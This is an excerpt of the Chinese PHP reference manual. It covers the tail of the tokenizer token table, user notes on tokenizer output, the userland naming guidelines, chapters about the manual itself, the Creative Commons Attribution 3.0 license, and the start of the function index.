T_INLINE_HTML |  |
T_INSTANCEOF | instanceof | type operators（仅 PHP5）
T_INT_CAST | (int) 或 (integer) | 类型转换
T_INTERFACE | interface | 对象接口（自 PHP 5.0.0 起可用）
T_ISSET | isset() | isset()
T_IS_EQUAL | == | 比较运算符
T_IS_GREATER_OR_EQUAL | >= | 比较运算符
T_IS_IDENTICAL | === | 比较运算符
T_IS_NOT_EQUAL | != or <> | 比较运算符
T_IS_NOT_IDENTICAL | !== | 比较运算符
T_IS_SMALLER_OR_EQUAL | <= | 比较运算符
T_LINE | __LINE__ | 常量
T_LIST | list() | list()
T_LNUMBER | 123，012，0x1ac，等等 | 整型
T_LOGICAL_AND | and | 逻辑运算符
T_LOGICAL_OR | or | 逻辑运算符
T_LOGICAL_XOR | xor | 逻辑运算符
T_MINUS_EQUAL | -= | 赋值运算符
T_ML_COMMENT | /* 和 */ | 注释（仅用于 PHP 4）
T_MOD_EQUAL | %= | 赋值运算符
T_MUL_EQUAL | *= | 赋值运算符
T_NEW | new | 类和对象
T_NUM_STRING |  |
T_OBJECT_CAST | (object) | 类型转换
T_OBJECT_OPERATOR | -> | 类和对象
T_OPEN_TAG | <?php, <? 或 <% | 从 HTML 转义
T_OPEN_TAG_WITH_ECHO | <?= or <%= | 从 HTML 转义
T_OR_EQUAL | |= | 赋值运算符
T_PAAMAYIM_NEKUDOTAYIM | :: | ::。也定义为 T_DOUBLE_COLON。
T_PLUS_EQUAL | += | 赋值运算符
T_PRINT | print() | print
T_PRIVATE | private | 类和对象。仅用于 PHP 5。
T_PUBLIC | public | 类和对象。仅用于 PHP 5。
T_PROTECTED | protected | 类和对象。仅用于 PHP 5。
T_REQUIRE | require() | require
T_REQUIRE_ONCE | require_once() | require_once
T_RETURN | return | 返回值
T_SL | << | 位运算符
T_SL_EQUAL | <<= | 赋值运算符
T_SR | >> | 位运算符
T_SR_EQUAL | >>= | 赋值运算符
T_START_HEREDOC | <<< | heredoc 语法
T_STATIC | static | 变量范围
T_STRING |  |
T_STRING_CAST | (string) | 类型转换
T_STRING_VARNAME |  |
T_SWITCH | switch | switch
T_THROW | throw | 异常处理（自 PHP 5.0.0 起可用）
T_TRY | try | 异常处理（自 PHP 5.0.0 起可用）
T_UNSET | unset() | unset()
T_UNSET_CAST | (unset) | （无文档; 类型为 NULL）
T_USE | use | （未实现）
T_VAR | var | 类和对象
T_VARIABLE | $foo | 变量
T_WHILE | while | while，do..while
T_WHITESPACE |  |
T_XOR_EQUAL | ^= | 赋值运算符
T_FUNC_C | __FUNCTION__ | 常量，自 PHP 4.3.0 起可用
T_CLASS_C | __CLASS__ | 常量，自 PHP 4.3.0 起可用

参见 token_name()。

User Contributed Notes

geompse at gmail dot com 22-Jan-2018 12:52
Tokens that are strings and not arrays (including a T_* constant) can be misleading, ie "$a&$b" (bitwise operator) and "$a=&$b" (reference assignation) where both "&" are string tokens.
fgm at osinet dot fr 22-Sep-2008 01:08
T_ENCAPSED_AND_WHITESPACED is returned when parsing strings with evaluated content, like "some $value" or this example from the Strings reference page:

<?php
echo <<<EOT
My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should print a capital 'A': \x41
EOT;
?>

This last example is tokenized as:
T_ECHO
  echo
T_WHITESPACE
  %20 (a space character)
T_START_HEREDOC
  <<
T_ENCAPSED_AND_WHITESPACE
  My name is "
T_VARIABLE
  $name
T_ENCAPSED_AND_WHITESPACE
  ". I am printing some
T_VARIABLE
  $foo
T_OBJECT_OPERATOR
  ->
T_STRING
  foo
T_ENCAPSED_AND_WHITESPACE
  . Now, I am printing some
T_CURLY_OPEN
  {
T_VARIABLE
  $foo
T_OBJECT_OPERATOR
  ->
T_STRING
  bar
(terminal)
  [
T_LNUMBER
  1
(terminal)
  ]
(terminal)
  }
T_ENCAPSED_AND_WHITESPACE
  . This should print a capital 'A': \x41
T_END_HEREDOC
  EOT
(terminal)
  ;
nathan at unfinitydesign dot com 22-Sep-2008 05:52
T_ENCAPSED_AND_WHITESPACE is whitespace which intersects a group of tokens. For example, an "unexpected T_ENCAPSED_AND_WHITESPACE" error is produced by the following code:

<?php
$main_output_world = 'snakes!';
echo('There are' 10 $main_output_world);
?>

Note the missing concatenation operator between the two strings leads to the whitespace error that is so named above. The concatenation operator instructs PHP to ignore the whitespace between the two code tokens (the so named "encapsed" data"), rather than parse it as a token itself.

The correct code would be:

<?php
$main_output_world = 'snakes!';
echo('There are' . 10 . $main_output_world);
?>

Note the addition of the concatenation operator between each token.


用户空间命名指南

Table of Contents

  • 全局命名空间
  • 规则
  • 提示

以下是在用户空间 PHP 代码中怎样最佳选择标识符名称的指南。当在全局命名空间中选择创建的符号名称时，要考虑到以下指导方针以免未来的 PHP 版本破坏掉用户使用的符号名称。

User Contributed Notes

There are no user contributed notes for this page.


全局命名空间

以下代码结构会进入全局命名空间：

  • functions（函数）

  • classes（类）

  • interfaces（接口）

  • constants（常量，并非类常量）

  • 在函数／方法之外定义的变量

User Contributed Notes

There are no user contributed notes for this page.


规则

以下列表指出了 PHP 工程在选择新的内部标识符时保留给自己的权利。最终指南是官方的» 编码标准：

  • PHP 拥有最顶层命名空间，但是会尝试找到合体的描述命名以避免任何明显的冲突。

  • 函数名在两个词中间使用下划线，类名则同时使用 camelCase 和 PascalCase 规则。

  • PHP 在任何扩展库的全局符号前附加上扩展库的名称（此规则在过去则有无数例外）。例如：

    • curl_close()

    • mysql_query()

    • PREG_SPLIT_DELIM_CAPTURE

    • new DOMDocument()

    • strpos()（以前的一个失误例子）

    • new SplFileObject()

  • Iterators 和 Exceptions 则只是简单加上 "Iterator" 和 "Exception" 后缀。例如：

    • ArrayIterator

    • LogicException

  • PHP 保留所有以 __ 开头的符号作为魔术符号。建议用户不要在 PHP 中创建以 __ 打头的符号，除非是要使用有文档记载的魔术函数功能。例如：

    • __get()

    • __autoload()

User Contributed Notes

There are no user contributed notes for this page.


提示

要写出能经受住时间考验的代码，建议给任何进入全局命名空间的符号都加上一个不常见的 3-4 字母的前缀（或后缀），中间用下划线分开。为了避免与其它用户空间代码出现命名空间冲突，建议先研究一下其它项目中已有的前缀（或后缀）并适当地公布出来。示例如下：

  • MyPx_someFunc()

  • Foo_Date

  • $asdf_dbh

User Contributed Notes

There are no user contributed notes for this page.


关于本手册

Table of Contents

  • 手册的格式
  • 关于用户注释
  • 如何阅读函数的定义（函数原型）
  • 本手册中所涉及的 PHP 版本
  • 如何得到关于 PHP 更多的信息
  • 如何帮助改进本文档
  • 如何生成手册的各种格式
  • 手册译文

User Contributed Notes

There are no user contributed notes for this page.


手册的格式

《PHP 参考手册》提供了多种不同格式的版本，它们可以分为两组：在线阅读版本和可下载打包版本。

Note:

有些出版商可能已经出版了本手册的一些印刷版本。不推荐印刷版，因为 PHP 参考手册更新得非常快，这些印刷版本的内容很快将过时。

可以访问 » PHP.net 网站及其众多的镜像站点来在线阅读《PHP 参考手册》。为了保证最佳的访问速度，应该选择地理位置最接近的镜像站点。PHP 手册的在线版本目前有两种 CSS 样式表：便于浏览和便于打印。

和绝大多数离线格式的手册相比，在线阅读版本有两个显著的优点，即它集成了用户注释，并且可以使用其中的 » URL 快捷方式快速进入手册中想阅读的部分；但是，它的明显的缺点是必须要联网才能阅读。

目前，《PHP 参考手册》提供多种离线阅读格式，最适合于自己的格式取决于所使用的操作系统和个人的阅读习惯。关于《PHP 参考手册》如何被制作成如此多的版本，请查阅本附录中如何生成手册的各种格式一节。

跨平台性最好的格式是 HTML 格式格式。HTML 格式提供了两种方式：一种只有一个很大的 HTML 文件；另一种方式是每一节分成一个独立文件（它们形成一个包含有几千个文件的文件包）。我们提供的是这两种版本的压缩包，需要使用解压缩工具解压出压缩包中的文件。

对于 Windows 平台，我们利用了 Windows HTML 帮助应用程序结合本手册的 HTML 格式，形成了本手册的 Windows HTML 帮助版本。该版本提供手册的全文搜索、完整的索引以及书签功能。很多 Windows 平台下流行的 PHP 集成开发环境也集成了该版本的手册，以给开发者提供最方便快捷的参考。CHM 阅读器也有 Linux 版本，可以到 » xCHM 或 » GnoCHM 网站了解更多信息。

同时，PHP 手册也有» 扩展 CHM 版本提供下载。它更新的速度比较慢，但是提供了附加的功能。由于制作帮助页面时采用的技术的特殊性，它只可在 Microsoft Windows 下工作。

User Contributed Notes

There are no user contributed notes for this page.


关于用户注释

用户注释在本手册的开发过程中搬演了相当重要的角色。通过允许手册的读者利用它们的浏览器提供范例、解释和进一步的阐述，我们便能够把这些反馈信息包含到手册的正文中。而且，当这些注释被包含后，读者就可以在线通过它们被提交的格式来阅读它们，也可以通过某些离线格式来阅读。

Note:

用户注释在网上出现之前并不成熟，因此这些文字和代码的质量，甚至它们的真实性无从得到保证（这并不是说本手册本身的质量和准确性没有任何的保证）。

Note:

由于用户注释被认为是 PHP 手册的一部分，因此它使用本文档的许可协议（目前为创作共用许可协议）。请查阅手册版权页以了解更多详细信息。

User Contributed Notes

There are no user contributed notes for this page.


如何阅读函数的定义（函数原型）

文档中的每个函数都只是快速参考，学会如何阅读和理解文档将使得 PHP 的使用更加简单。和依赖赖于复制／粘贴范例比起来，用户一定更希望知道如何阅读函数的定义（函数原型）：

Note: 先决条件，对变量类型的基本理解

尽管 PHP 是一种松散类型语言，但变量类型有重要的意义，需要理解它的基本知识。

函数定义告诉我们函数返回什么类型的值，让我们用函数 strlen() 的定义作为第一个范例：

strlen

(PHP 4, PHP 5)
strlen -- 获取字符串长度

说明
int strlen ( string str )

返回给定的字符串 string 的长度。

对函数定义的解释
组成部分 | 说明
strlen | 函数名称。
(PHP 4, PHP 5) | strlen() 在 PHP 4 和 PHP 5 的所有版本中都存在。
int | 该函数返回的值的类型，这里为整型 integer（即以数字来衡量的字符串的长度）。
( string str ) | 第一个（本例中是唯一的）参数，在该函数中名为 string，且类型为 string。

可以将以上函数的定义写成一般形式：

      返回类型          函数名           ( 参数类型          参数名 )
      returned type    function name    ( parameter type   parameter name )

很多函数都有多个变量，例如 in_array()。其函数原型如下：

      bool in_array ( mixed $needle, array $haystack [, bool $strict = FALSE ] )

这是什么意思？in_array() 返回一个"布尔"值，成功（如果在参数 haystack 中能找到参数 needle）则返回 TRUE, 或者在失败时返回 FALSE（如果在参数 haystack 中找不到参数 needle）。第一个参数被命名为 needle 且其类型不定，因此我们将其称为"混和"类型。该混和类型的 needle 参数（我们要找的对象）可以是一个标量的值（字符串、整数、或者浮点数），或者一个数组。haystack（我们寻找的范围）是第二个参数。第三个可选参数被命名为 strict。所有的可选参数都用 [ 方括号 ] 括起来。手册表明 strict 参数默认值为布尔值 FALSE。需要了解函数工作的细节，请参阅手册中和该函数相关的页面。

函数参数前的 & 符号使参数以 引用 方式传递，如下所见：

       int preg_match ( string $pattern , string $subject [, array &$matches
      [, int $flags = 0 [, int $offset = 0 ]]] )

在这个例子中，我们可以看到，第三个可选参数 &$matches 会意引用方式传递。

有的函数包含更复杂的 PHP 版本信息。我们拿 html_entity_decode() 举例：

(PHP 4 >= 4.3.0, PHP 5)

它意味着该函数只可在 PHP 4.3.0 及以后发布的版本中使用。

User Contributed Notes

There are no user contributed notes for this page.


本手册中所涉及的 PHP 版本

本手册包含有 PHP 过去，现在和未来版本的信息。如果（不同版本）有功能变化则作为注释、更新日志以及插入文本方式在手册页中注明。 文档内最早的版本是 PHP 5.0.0。

当对应于最新（尚未发布）开发版的 PHP 有文档存在时，将会被标记为"可在 Git 获取"或者"开发版本"。应该计划好相关变更，虽不多见但确有可能会有变动。

所有开发都放置于 Git 中，应按照» 匿名 Git 访问页面中的方法来取出。

要澄清一点，手册会指明 PHP 的主版本号，次版本号和发布编号。以 PHP 5.3.1 为例，5 是主版本号，3 是次版本号，1 是发布编号。通常 PHP 只会在主、次版本更新时增加新特性，在发布编号更新时修正错误。不过也不完全是这样。

还要注意 PHP 手册是以现在时态书写的，而不是将来时态，即使某特性当前还尚未可用。原因是这样一来手册就可以经受住时间的考验，而不用在每次 PHP 更新时都去修改无聊的语法。

PHP 手册会多次列出 PHP 配置选项的"默认值"。默认值是没有 php.ini 配置文件时的值，所以与 php.ini-development 和 php.ini-production 存在很大差异。同时这些值也是基于最新版本的 PHP。请参考 PHP 配置选项列表以了解更多信息。

User Contributed Notes

There are no user contributed notes for this page.


如何得到关于 PHP 更多的信息

本手册并不打算提供基本的编程开发指导。刚学编程的或者新手程序员会发现仅仅用本手册来学习如何用 PHP 编程是一件很困难的事情。应该寻找一本更适合初学者的书。

目前，PHP 官方提供了许多邮件列表来讨论 PHP 编程相关的各个方面的问题。如果卡在了某个问题上，可以到该邮件列表寻求帮助。有关支持以及邮件列表请访问 » PHP.net 支持页面。

User Contributed Notes

There are no user contributed notes for this page.


如何帮助改进本文档

可以通过以下三种途径来帮助改善本文档。

如果发现本手册任何一个格式的版本中有错误，请通过设在 » https://bugs.php.net/ 的纠错系统向我们报告，并将提交的错误分类为"文档问题 (Documentation Problem)"。所有文档相关的问题，包括手册格式，都应作为错误提交。

Note:

请勿滥用纠错系统来寻求帮助。如需帮助请访问» 支持页面。

通过提交注释，用户可以向其它读者提供更多的范例、解释和阐述。但请勿在注释系统提交错误报告。更多细节见关于用户注释一节。

PHP 手册被翻译成很多种语言。如果懂英语和另一种语言，可以加入翻译团队来帮助改善文档。关于开始一个新语种的翻译，或者加入某一个语言版本的翻译工作，请下载并阅读 » http://doc.php.net/tutorial/。

PHP 文档项目也有一个 IRC 频道，许多手册作者都常去。可以访问 irc.efnet.org 服务器上的 #php.doc 与他们讨论改善 PHP 文档的方法。

User Contributed Notes

There are no user contributed notes for this page.


如何生成手册的各种格式

本手册使用 XML 语言编写，同时运用了 » DocBook XML DTD。还用了 » PhD（基于 [PH]P 的 [D]ocBook 渲染器）来维护和格式化。

将 XML 语言作为源文件格式，使得我们只需维护该源文件文档，就可以可以利用它生成许多其它的输出格式。生在在线手册格式的工具是 » PhD。我们使用 » Microsoft HTML Help Workshop 来生成本手册的 Windows HTML 帮助 格式。当然，PHP 本身也完成了其它一些转换和格式化工作。

PHP 手册被生成多种不同语言和格式，详情见 » https://www.php.net/docs.php。XML 格式的源代码可以通过 SVN 下载，并通过 » https://svn.php.net/viewvc/ 在线浏览。文档存放于 phpdoc 模块中。

User Contributed Notes

There are no user contributed notes for this page.


手册译文

《PHP 参考手册》不但有各种不同的格式，而且还有各种语言的版本。手册的正文最初是用英语撰写的，后来有来自全世界各地的工作组致力于本手册各种语言版本的翻译工作。如果某个函数或者章节的内容尚未被翻译，则该语言版本手册的发布将落后于英语版本。

翻译工作者首先从本手册的 XML 源代码（可于 » https://svn.php.net/viewvc/ 获取）入手，将这些源代码翻译成他们的母语。不要从生成后的版本开始翻译（比如 HTML 或纯文本版）。因为编译系统会负责将 XML 源代码转换成可阅读版本。

Note:

要帮忙翻译手册，请发一封空的电子邮件到 » phpdoc-subscribe@lists.php.net 加入 phpdoc 邮件列表以便与文档翻译小组取得联系。邮件列表的地址为 phpdoc@lists.php.net。请在电子邮件中声明对文档翻译工作感兴趣，有人会回复并帮助加入到已经存在的翻译小组，或者开始新语种的翻译工作。

目前，本手册已经（或部分）有超过 10 种语言可用。

可以访问 » https://www.php.net/docs.php 来下载各种版本。

User Contributed Notes

There are no user contributed notes for this page.


Creative Commons Attribution 3.0

THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.

BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.

1. Definitions

  1. "Adaptation" means a work based upon the Work, or upon the Work and other pre-existing works, such as a translation, adaptation, derivative work, arrangement of music or other alterations of a literary or artistic work, or phonogram or performance and includes cinematographic adaptations or any other form in which the Work may be recast, transformed, or adapted including in any form recognizably derived from the original, except that a work that constitutes a Collection will not be considered an Adaptation for the purpose of this License. For the avoidance of doubt, where the Work is a musical work, performance or phonogram, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered an Adaptation for the purpose of this License.
  2. "Collection" means a collection of literary or artistic works, such as encyclopedias and anthologies, or performances, phonograms or broadcasts, or other works or subject matter other than works listed in Section 1(f) below, which, by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. A work that constitutes a Collection will not be considered an Adaptation (as defined above) for the purposes of this License.
  3. "Distribute" means to make available to the public the original and copies of the Work or Adaptation, as appropriate, through sale or other transfer of ownership.
  4. "Licensor" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License.
  5. "Work" means the literary and/or artistic work offered under the terms of this License including without limitation any production in the literary, scientific and artistic domain, whatever may be the mode or form of its expression including digital form, such as a book, pamphlet and other writing; a lecture, address, sermon or other work of the same nature; a dramatic or dramatico-musical work; a choreographic work or entertainment in dumb show; a musical composition with or without words; a cinematographic work to which are assimilated works expressed by a process analogous to cinematography; a work of drawing, painting, architecture, sculpture, engraving or lithography; a photographic work to which are assimilated works expressed by a process analogous to photography; a work of applied art; an illustration, map, plan, sketch or three-dimensional work relative to geography, topography, architecture or science; a performance; a broadcast; a phonogram; a compilation of data to the extent it is protected as a copyrightable work; or a work performed by a variety or circus performer to the extent it is not otherwise considered a literary or artistic work.
  6. "You" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.
  7. "Publicly Perform" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.
  8. "Reproduce" means to make copies of the Work by any means including without limitation by sound or visual recordings and the right of fixation and reproducing fixations of the Work, including storage of a protected performance or phonogram in digital form or other electronic medium.

2. Fair Dealing Rights. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright or rights arising from limitations or exceptions that are provided for in connection with the copyright protection under copyright law or other applicable laws.

3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:

  1. to Reproduce the Work, to incorporate the Work into one or more Collections, and to Reproduce the Work as incorporated in the Collections;
  2. to create and Reproduce Adaptations provided that any such Adaptation, including any translation in any medium, takes reasonable steps to clearly label, demarcate or otherwise identify that changes were made to the original Work. For example, a translation could be marked "The original work was translated from English to Spanish," or a modification could indicate "The original work has been modified.";
  3. to Distribute and Publicly Perform the Work including as incorporated in Collections; and,
  4. to Distribute and Publicly Perform Adaptations.

  5. For the avoidance of doubt:

    1. Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;
    2. Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor waives the exclusive right to collect such royalties for any exercise by You of the rights granted under this License; and,
    3. Voluntary License Schemes. The Licensor waives the right to collect royalties, whether individually or, in the event that the Licensor is a member of a collecting society that administers voluntary licensing schemes, via that society, from any exercise by You of the rights granted under this License.

The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. Subject to Section 8(f), all rights not expressly granted by Licensor are hereby reserved.

4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:

  1. You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from any Licensor You must, to the extent practicable, remove from the Collection any credit as required by Section 4(b), as requested. If You create an Adaptation, upon notice from any Licensor You must, to the extent practicable, remove from the Adaptation any credit as required by Section 4(b), as requested.
  2. If You Distribute, or Publicly Perform the Work or any Adaptations or Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or if the Original Author and/or Licensor designate another party or parties (e.g., a sponsor institute, publishing entity, journal) for attribution ("Attribution Parties") in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and (iv) , consistent with Section 3(b), in the case of an Adaptation, a credit identifying the use of the Work in the Adaptation (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). The credit required by this Section 4 (b) may be implemented in any reasonable manner; provided, however, that in the case of a Adaptation or Collection, at a minimum such credit will appear, if a credit for all contributing authors of the Adaptation or Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributing authors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Original Author, Licensor and/or Attribution Parties, as appropriate, of You or Your use of the Work, without the separate, express prior written permission of the Original Author, Licensor and/or Attribution Parties.
  3. Except as otherwise agreed in writing by the Licensor or as may be otherwise permitted by applicable law, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Adaptations or Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the Original Author's honor or reputation. Licensor agrees that in those jurisdictions (e.g. Japan), in which any exercise of the right granted in Section 3(b) of this License (the right to make Adaptations) would be deemed to be a distortion, mutilation, modification or other derogatory action prejudicial to the Original Author's honor and reputation, the Licensor will waive or not assert, as appropriate, this Section, to the fullest extent permitted by the applicable national law, to enable You to reasonably exercise Your right under Section 3(b) of this License (right to make Adaptations) but not otherwise.

5. Representations, Warranties and Disclaimer

UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.

6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

7. Termination.

  1. This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Adaptations or Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License.
  2. Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.

8. Miscellaneous

  1. Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
  2. Each time You Distribute or Publicly Perform an Adaptation, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.
  3. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
  4. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent
  5. This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
  6. The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). These rights and subject matter take effect in the relevant jurisdiction in which the License terms are sought to be enforced according to the corresponding provisions of the implementation of those treaty provisions in the applicable national law. If the standard suite of rights granted under applicable copyright law includes additional rights not granted under this License, such additional rights are deemed to be included in the License; this License is not intended to restrict the license of any rights under applicable law.

User Contributed Notes

There are no user contributed notes for this page.


索引

Table of Contents

  • 函数和方法列表
  • 示例列表

User Contributed Notes

There are no user contributed notes for this page.


函数和方法列表

手册中所有函数和方法的列表

a b c d e f g h i j k l m n o p q r s t u v w x y z _ ?

  • a
    • abs - 绝对值
    • acos - 反余弦
    • acosh - 反双曲余弦
    • addcslashes - 以 C 语言风格使用反斜线转义字符串中的字符
    • addslashes - 使用反斜线引用字符串
    • apache_child_terminate - 在本次请求结束后终止 apache 子进程
    • apache_getenv - 获取 Apache subprocess_env 变量
    • apache_get_modules - 获得已加载的Apache模块列表
    • apache_get_version - 获得Apache版本信息
    • apache_lookup_uri - 对指定的 URI 执行部分请求并返回所有有关信息
    • apache_note - 取得或设置 apache 请求记录
    • apache_request_headers - 获取全部 HTTP 请求头信息
    • apache_reset_timeout - 重置 Apache 写入计时器
    • apache_response_headers - 获得全部 HTTP 响应头信息
    • apache_setenv - 设置 Apache 子进程环境变量
    • APCIterator::current - 获取当前项
    • APCIterator::getTotalCount - 获取总数
    • APCIterator::getTotalHits - 获取缓存命中数
    • APCIterator::getTotalSize - 获取所有缓存的尺寸大小
    • APCIterator::key - 获取迭代器的键
    • APCIterator::next - 移到下一项
    • APCIterator::rewind - 倒退迭代器
    • APCIterator::valid - 检查当前位置是否有效
    • APCIterator::__construct - 构造一个 APCIterator 迭代器对象
    • APCUIterator::current - Get current item
    • APCUIterator::getTotalCount - Get total count
    • APCUIterator::getTotalHits - Get total cache hits
    • APCUIterator::getTotalSize - Get total cache size
    • APCUIterator::key - Get iterator key
    • APCUIterator::next - Move pointer to next item
    • APCUIterator::rewind - Rewinds iterator
    • APCUIterator::valid - Checks if current position is valid
    • APCUIterator::__construct - Constructs an APCUIterator iterator object
    • apcu_add - Cache a new variable in the data store
    • apcu_cache_info - Retrieves cached information from APCu's data store
    • apcu_cas - Updates an old value with a new value
    • apcu_clear_cache - Clears the APCu cache
    • apcu_dec - Decrease a stored number
    • apcu_delete - Removes a stored variable from the cache
    • apcu_entry - Atomically fetch or generate a cache entry
    • apcu_exists - Checks if entry exists
    • apcu_fetch - Fetch a stored variable from the cache
    • apcu_inc - Increase a stored number
    • apcu_sma_info - Retrieves APCu Shared Memory Allocation information
    • apcu_store - Cache a variable in the data store
    • apc_add - 缓存一个变量到数据存储
    • apc_bin_dump - 获取给定文件和变量的二进制文件转储。
    • apc_bin_dumpfile - Output a binary dump of cached files and user variables to a file
    • apc_bin_load - Load a binary dump into the APC file/user cache
    • apc_bin_loadfile - Load a binary dump from a file into the APC file/user cache
    • apc_cache_info - Retrieves cached information from APC's data store
    • apc_cas - 用新值更新旧值
    • apc_clear_cache - 清除APC缓存
    • apc_compile_file - Stores a file in the bytecode cache, bypassing all filters
    • apc_dec - Decrease a stored number
    • apc_define_constants - Defines a set of constants for retrieval and mass-definition
    • apc_delete - 从用户缓存中删除某个变量
    • apc_delete_file - Deletes files from the opcode cache
    • apc_exists - 检查APC中是否存在某个或者某些key
    • apc_fetch - 从缓存中取出存储的变量
    • apc_inc - 递增一个储存的数字
    • apc_load_constants - Loads a set of constants from the cache
    • apc_sma_info - Retrieves APC's Shared Memory Allocation information
    • apc_store - Cache a variable in the data store
    • apd_breakpoint - Stops the interpreter and waits on a CR from the socket
    • apd_callstack - Returns the current call stack as an array
    • apd_clunk - Throw a warning and a callstack
    • apd_continue - Restarts the interpreter
    • apd_croak - Throw an error, a callstack and then exit
    • apd_dump_function_table - Outputs the current function table
    • apd_dump_persistent_resources - Return all persistent resources as an array
    • apd_dump_regular_resources - Return all current regular resources as an array
    • apd_echo - Echo to the debugging socket
    • apd_get_active_symbols - Get an array of the current variables names in the local scope
